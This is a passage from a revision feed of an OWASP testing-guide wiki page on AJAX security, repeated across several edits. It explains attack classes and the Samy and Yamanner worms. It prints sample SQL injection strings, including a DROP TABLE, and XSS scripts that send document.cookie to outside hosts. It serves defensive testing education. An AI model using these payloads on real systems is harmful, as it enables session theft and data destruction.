'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Venkman''' &amp;lt;br&amp;gt; [http://www.mozilla.org/projects/venkman/ Venkman]is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers. ,br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12226</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12226"/>
				<updated>2006-11-10T10:49:33Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing == &lt;br /&gt;
[[AJAX_Testing_AoC | 4.9 AJAX Testing ]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[AJAX_How_to_test_AoC | 4.9.2 How to Test AJAX]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
&lt;br /&gt;
Here are some of the '''AJAX Testing Tools''' &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;[http://wiki.script.aculo.us/scriptaculous/show/GhostTrain Scriptaculous's Ghost Train] is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;[http://www.edwardh.com/jsunit/ JsUnit] is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://ajaxpatterns.org AJAX Patterns] &lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12225</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=12225"/>
				<updated>2006-11-10T10:47:40Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
